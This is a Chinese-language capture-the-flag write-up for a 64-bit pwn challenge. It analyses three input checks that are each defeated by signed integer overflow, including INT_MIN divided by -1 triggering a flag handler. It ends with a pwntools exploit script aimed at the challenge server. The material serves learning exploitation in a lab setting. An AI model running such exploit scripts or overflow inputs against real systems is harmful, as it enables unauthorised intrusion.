1.检查保护机制
2.我们用64位的IDA打开该文件
查找关键字符串看到有“cat flag”
3.我们先预览一遍程序
main函数
我们看到要if语句里面的三个函数条件为真
第一个函数
第二个函数
第三个函数
在第三个函数里面条件为真就可以拿到flag(handler)
4.第一个函数:sub_9C0()
条件:
因为输入变量s是有符号数的int型:0~2147483647 -2147483648~-1
所以8 -(-1)= 9
我们就可以输入a = 8 b = 4294967295 = -1
5.第二个函数:sub_AEE()
条件:
因为输入的v2,v3是有符号数的int型:0~2147483647 -2147483648~-1
所以我们可以让3 * 3 = 9
4294967305 = 9
4294967305因式分解后为:48145*89209
网址:tools.jb51.net/jisuanqi/factor_calc
6.第三个函数: sub_BA3()
条件:
因为v2,v3是有符号数的int型:0~2147483647 -2147483648~-1
所以: a = 2147483648 b = -1
或 : a =-2147483648 b = -1
程序无法执行
7.EXP
#encoding = utf-8
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
content = 0
def main():
if content == 1:
p = process('pwn2')
else:
p = remote('pwn.challenge.ctf.show',28090)
p.sendlineafter("a:",'8')
p.sendlineafter("b:",'4294967295')
p.sendlineafter("a:",'48145')
p.sendlineafter("b:",'89209')
p.sendlineafter("a:",'-2147483648')
p.sendlineafter("b:",'-1')
p.interactive()
main()